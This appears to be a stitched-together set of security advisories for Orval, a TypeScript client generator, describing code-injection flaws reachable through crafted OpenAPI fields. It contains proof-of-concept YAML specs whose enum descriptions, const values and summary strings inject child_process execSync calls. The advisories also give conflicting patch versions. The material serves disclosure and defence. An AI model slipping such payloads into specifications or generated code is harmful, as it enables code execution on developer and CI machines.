Orval generates type-safe JavaScript clients in TypeScript from OpenAPI v3 and Swagger v2 specifications. Prior to 8.21.0, a double quote in a header parameter name is emitted into the generated request-validation zod.object({...}) schema without safe encoding. This permits attacker-controlled JavaScript to be evaluated when the generated zod schema module is imported, resulting in code execution in the developer, CI, test, or application environment. The affected code is packages/zod/src/index.ts and header request-validation generation. This issue is fixed in version 8.21.0.

Impact Arbitrary code execution in environments consuming generated clients

This issue is similar in nature to the recently-patched MCP vulnerability (CVE-2026-22785), but affects a different code path in @orval/core that was not addressed by that fix.

The vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript code into generated clients via the x-enumDescriptions field, which is embedded without proper escaping in getEnumImplementation(). I have confirmed that the injection occurs during const enum generation and results in executable code within the generated schema files.

Patches Upgrade to Orval 8.0.2

References An example OpenAPI showing the issue:

yaml openapi: 3.0.4 info: title: Enum PoC version: "1.0.0"

paths: /ping: get: operationId: ping responses: "200": description: ok content: application/json: schema: $ref: "#/components/schemas/EvilEnum"

components: schemas: EvilEnum: type: string enum: - PWNED x-enumDescriptions: - "pwned / require('childprocess').execSync('id'); /"

I am reporting a code injection vulnerability in Orval’s mock generation pipeline affecting @orval/mock in both the 7.x and 8.x series. This issue is related in impact to the previously reported enum x-enumDescriptions (https://github.com/advisories/GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core.

The vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. I have confirmed that this occurs on orval@7.19.0 and orval@8.0.2 with mock: true, and that the generated mocks contain executable payloads such as require('childprocess').execSync('id') in the output TypeScript.

yaml openapi: 3.1.0 info: title: Mock Const Injection PoC version: 1.0.0 paths: /test: get: operationId: getTests responses: '200': description: OK content: application/json: schema: $ref: '#/components/schemas/Tests' components: schemas: Tests: type: object properties: EvilString: type: string const: "'); require('childprocess').execSync('id'); //" EvilNumber: type: number const: "0); require('childprocess').execSync('id'); //" SafeEnum: type: string enum: ["test"]

CVE-2026-23947 had an incomplete fix

While the current jsStringEscape function properly handles single quotes ('), double quotes (") and other characters, it fails to sanitize and / characters. This allows attackers to break out of JavaScript comment blocks using / sequences and inject arbitrary code into generated files.

Example:

yaml openapi: 3.0.4 info: title: Enum PoC version: "1.0.0"

paths: /ping: get: operationId: ping responses: "200": description: ok content: application/json: schema: $ref: "#/components/schemas/EvilEnum"

components: schemas: EvilEnum: type: string enum: - PWNED x-enumDescriptions: # "pwned / }; import('childprocess').then(cp => cp.execSync('touch pwned')); const a = { /" - "pwned / }; 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const a = { /"

Impact The MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to "break out" of the string literal and inject arbitrary code.

Here is an example OpenAPI with the exploit

yaml openapi: 3.0.4 info: title: Swagger Petstore - OpenAPI 3.0 description: |- This is a sample Pet Store Server based on the OpenAPI 3.0 specification. You can find out more about Swagger at https://swagger.io. In the third iteration of the pet store, we've switched to the design first approach! You can now help us improve the API whether it's by making changes to the definition itself or to the code. That way, with time, we can improve the API in general, and expose some of the new features in OAS3.

Some useful links: - The Pet Store repository - The source API definition for the Pet Store termsOfService: https://swagger.io/terms/ contact: email: apiteam@swagger.io license: name: Apache 2.0 url: https://www.apache.org/licenses/LICENSE-2.0.html version: 1.0.27-SNAPSHOT externalDocs: description: Find out more about Swagger url: https://swagger.io servers: - url: https://petstore3.swagger.io/api/v3 tags: - name: pet description: Everything about your Pets externalDocs: description: Find out more url: https://swagger.io - name: store description: Access to Petstore orders externalDocs: description: Find out more about our store url: https://swagger.io - name: user description: Operations about user paths: /pet/findByStatus: get: tags: - pet summary: Finds Pets by status.' + require('childprocess').execSync("open -a Calculator").toString(),// description: Multiple status values can be provided with comma separated strings. operationId: findPetsByStatus parameters: - name: status in: query description: Status values that need to be considered for filter schema: type: string responses: '200': description: successful operation content: application/json: schema: type: string '400': description: Invalid status value default: description: Unexpected error security: - petstoreauth: - write:pets - read:pets

Patches This is fixed in version 7.18.0 or higher

Workarounds Do check your generated OpenAPI yaml/json before running through Orval CLI and correct it if it has injection.